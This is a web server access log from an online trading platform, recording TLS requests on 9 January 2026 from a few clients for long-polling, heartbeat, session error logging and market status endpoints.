[09/Jan/2026:11:32:50 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:32:50 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929839634 HTTP/1.1" -
[09/Jan/2026:11:32:50 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:32:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929854237 HTTP/1.1" -
[09/Jan/2026:11:32:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929842209 HTTP/1.1" -
[09/Jan/2026:11:32:51 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:32:51 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:32:51 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:32:51 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:32:53 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:32:53 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:32:54 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929841468 HTTP/1.1" -
[09/Jan/2026:11:32:55 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929844665 HTTP/1.1" -
[09/Jan/2026:11:32:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929847348 HTTP/1.1" -
[09/Jan/2026:11:32:56 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929860231 HTTP/1.1" -
[09/Jan/2026:11:32:59 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929846601 HTTP/1.1" -
[09/Jan/2026:11:33:00 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929849712 HTTP/1.1" -
[09/Jan/2026:11:33:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929852395 HTTP/1.1" -
[09/Jan/2026:11:33:02 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929866223 HTTP/1.1" -
[09/Jan/2026:11:33:04 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929851677 HTTP/1.1" -
[09/Jan/2026:11:33:05 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929854760 HTTP/1.1" -
[09/Jan/2026:11:33:05 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929857523 HTTP/1.1" -
[09/Jan/2026:11:33:08 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929872236 HTTP/1.1" -
[09/Jan/2026:11:33:09 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929856744 HTTP/1.1" -
[09/Jan/2026:11:33:10 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929859783 HTTP/1.1" -
[09/Jan/2026:11:33:11 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929862667 HTTP/1.1" -
[09/Jan/2026:11:33:14 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929861819 HTTP/1.1" -
[09/Jan/2026:11:33:14 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929878235 HTTP/1.1" -
[09/Jan/2026:11:33:15 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929864842 HTTP/1.1" -
[09/Jan/2026:11:33:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929867809 HTTP/1.1" -
[09/Jan/2026:11:33:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:33:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:33:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:33:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:33:19 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929866899 HTTP/1.1" -
[09/Jan/2026:11:33:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:33:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:33:20 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929884229 HTTP/1.1" -
[09/Jan/2026:11:33:20 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929869884 HTTP/1.1" -
[09/Jan/2026:11:33:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929872993 HTTP/1.1" -
[09/Jan/2026:11:33:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:33:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:33:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:33:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:33:23 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:33:23 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:33:24 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929871970 HTTP/1.1" -
[09/Jan/2026:11:33:25 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929874914 HTTP/1.1" -
[09/Jan/2026:11:33:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929878102 HTTP/1.1" -
[09/Jan/2026:11:33:26 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929890231 HTTP/1.1" -
[09/Jan/2026:11:33:29 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929877010 HTTP/1.1" -
[09/Jan/2026:11:33:30 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929879964 HTTP/1.1" -
[09/Jan/2026:11:33:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929883157 HTTP/1.1" -
[09/Jan/2026:11:33:32 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929896225 HTTP/1.1" -
[09/Jan/2026:11:33:34 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929882081 HTTP/1.1" -
[09/Jan/2026:11:33:35 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929885023 HTTP/1.1" -
[09/Jan/2026:11:33:36 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929888304 HTTP/1.1" -
[09/Jan/2026:11:33:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929902235 HTTP/1.1" -
[09/Jan/2026:11:33:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:33:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:33:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:33:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:33:39 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929887135 HTTP/1.1" -
[09/Jan/2026:11:33:40 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929890051 HTTP/1.1" -
[09/Jan/2026:11:33:41 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929893502 HTTP/1.1" -
[09/Jan/2026:11:33:44 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929892205 HTTP/1.1" -
[09/Jan/2026:11:33:45 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929895095 HTTP/1.1" -
[09/Jan/2026:11:33:46 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:33:46 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:33:46 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:33:46 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:33:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929898633 HTTP/1.1" -
[09/Jan/2026:11:33:49 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929897292 HTTP/1.1" -
[09/Jan/2026:11:33:50 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:33:50 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:33:50 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929900138 HTTP/1.1" -
[09/Jan/2026:11:33:51 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:33:51 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:33:51 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:33:51 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:33:52 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929903774 HTTP/1.1" -
[09/Jan/2026:11:33:53 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:33:53 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:33:54 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929902358 HTTP/1.1" -
[09/Jan/2026:11:33:56 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929905169 HTTP/1.1" -
[09/Jan/2026:11:33:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929908829 HTTP/1.1" -
[09/Jan/2026:11:33:59 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929907392 HTTP/1.1" -
[09/Jan/2026:11:34:01 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929910219 HTTP/1.1" -
[09/Jan/2026:11:34:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929913972 HTTP/1.1" -
[09/Jan/2026:11:34:05 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929912449 HTTP/1.1" -
[09/Jan/2026:11:34:06 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929915261 HTTP/1.1" -
[09/Jan/2026:11:34:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929919326 HTTP/1.1" -
[09/Jan/2026:11:34:10 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929917525 HTTP/1.1" -
